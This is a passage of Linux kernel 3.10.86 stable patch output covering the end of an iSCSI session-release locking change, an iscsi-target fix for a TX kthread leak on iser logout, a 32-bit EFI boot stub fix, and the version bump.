spin_lock_bh(&se_tpg->session_lock); @@ -4670,14 +4671,17 @@ int iscsit_release_sessions_for_tpg(struct iscsi_portal_group *tpg, int force) } atomic_set(&sess->session_reinstatement, 1); spin_unlock(&sess->conn_lock); - spin_unlock_bh(&se_tpg->session_lock); - iscsit_free_session(sess); - spin_lock_bh(&se_tpg->session_lock); + list_move_tail(&se_sess->sess_list, &free_list); + } + spin_unlock_bh(&se_tpg->session_lock); + list_for_each_entry_safe(se_sess, se_sess_tmp, &free_list, sess_list) { + sess = (struct iscsi_session *)se_sess->fabric_sess_ptr; + + iscsit_free_session(sess); session_count++; } - spin_unlock_bh(&se_tpg->session_lock); pr_debug("Released %d iSCSI Session(s) from Target Portal" " Group: %hu\n", session_count, tpg->tpgt); -- cgit v1.2.3 From 92eba7ddb962d2c4236edd78bcc66263d934f2e0 Mon Sep 17 00:00:00 2001 From: Nicholas Bellinger Date: Thu, 23 Jul 2015 22:30:31 +0000 Subject: iscsi-target: Fix iser explicit logout TX kthread leak commit 007d038bdf95ccfe2491d0078be54040d110fd06 upstream. This patch fixes a regression introduced with the following commit in v4.0-rc1 code, where an explicit iser-target logout would result in ->tx_thread_active being incorrectly cleared by the logout post handler, and subsequent TX kthread leak: commit 88dcd2dab5c23b1c9cfc396246d8f476c872f0ca Author: Nicholas Bellinger Date: Thu Feb 26 22:19:15 2015 -0800 iscsi-target: Convert iscsi_thread_set usage to kthread.h To address this bug, change iscsit_logout_post_handler_closesession() and iscsit_logout_post_handler_samecid() to only cmpxchg() on ->tx_thread_active for traditional iscsi/tcp connections. This is required because iscsi/tcp connections are invoking logout post handler logic directly from TX kthread context, while iser connections are invoking logout post handler logic from a seperate workqueue context. Cc: Sagi Grimberg Signed-off-by: Nicholas Bellinger Signed-off-by: Greg Kroah-Hartman --- drivers/target/iscsi/iscsi_target.c | 18 ++++++++++++++++-- 1 file changed, 16 insertions(+), 2 deletions(-) diff --git a/drivers/target/iscsi/iscsi_target.c b/drivers/target/iscsi/iscsi_target.c index e91266974c0b..efca110342cb 100644 --- a/drivers/target/iscsi/iscsi_target.c +++ b/drivers/target/iscsi/iscsi_target.c @@ -4416,7 +4416,18 @@ static void iscsit_logout_post_handler_closesession( struct iscsi_conn *conn) { struct iscsi_session *sess = conn->sess; - int sleep = cmpxchg(&conn->tx_thread_active, true, false); + int sleep = 1; + /* + * Traditional iscsi/tcp will invoke this logic from TX thread + * context during session logout, so clear tx_thread_active and + * sleep if iscsit_close_connection() has not already occured. + * + * Since iser-target invokes this logic from it's own workqueue, + * always sleep waiting for RX/TX thread shutdown to complete + * within iscsit_close_connection(). + */ + if (conn->conn_transport->transport_type == ISCSI_TCP) + sleep = cmpxchg(&conn->tx_thread_active, true, false); atomic_set(&conn->conn_logout_remove, 0); complete(&conn->conn_logout_comp); @@ -4430,7 +4441,10 @@ static void iscsit_logout_post_handler_closesession( static void iscsit_logout_post_handler_samecid( struct iscsi_conn *conn) { - int sleep = cmpxchg(&conn->tx_thread_active, true, false); + int sleep = 1; + + if (conn->conn_transport->transport_type == ISCSI_TCP) + sleep = cmpxchg(&conn->tx_thread_active, true, false); atomic_set(&conn->conn_logout_remove, 0); complete(&conn->conn_logout_comp); -- cgit v1.2.3 From 8492fd437ef59a2a2ed2f312466c48f202458faf Mon Sep 17 00:00:00 2001 From: Fupan Li Date: Tue, 4 Aug 2015 09:51:21 +0800 Subject: efi: fix 32bit kernel boot failed problem using efi Commit 35d5134b7d5a ("x86/efi: Correct EFI boot stub use of code32_start") imported a bug, which will cause 32bit kernel boot failed using efi method. It should use the label's address instead of the value stored in the label to caculate the address of code32_start. Signed-off-by: Fupan Li Reviewed-by: Matt Fleming --- arch/x86/boot/compressed/head_32.S | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/arch/x86/boot/compressed/head_32.S b/arch/x86/boot/compressed/head_32.S index abb988a54c69..3b28eff9b90b 100644 --- a/arch/x86/boot/compressed/head_32.S +++ b/arch/x86/boot/compressed/head_32.S @@ -54,7 +54,7 @@ ENTRY(efi_pe_entry) call reloc reloc: popl %ecx - subl reloc, %ecx + subl $reloc, %ecx movl %ecx, BP_code32_start(%eax) sub $0x4, %esp -- cgit v1.2.3 From 78fb9f4236d9077fb343fb5a4e55fe27075e9a1d Mon Sep 17 00:00:00 2001 From: Greg Kroah-Hartman Date: Mon, 10 Aug 2015 12:22:47 -0700 Subject: Linux 3.10.86 --- Makefile | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/Makefile b/Makefile index 11a7e7bc31f2..25ee724c9089 100644 --- a/Makefile +++ b/Makefile @@ -1,6 +1,6 @@ VERSION = 3 PATCHLEVEL = 10 -SUBLEVEL = 85 +SUBLEVEL = 86 EXTRAVERSION = NAME = TOSSUG Baby Fish -- cgit v1.2.3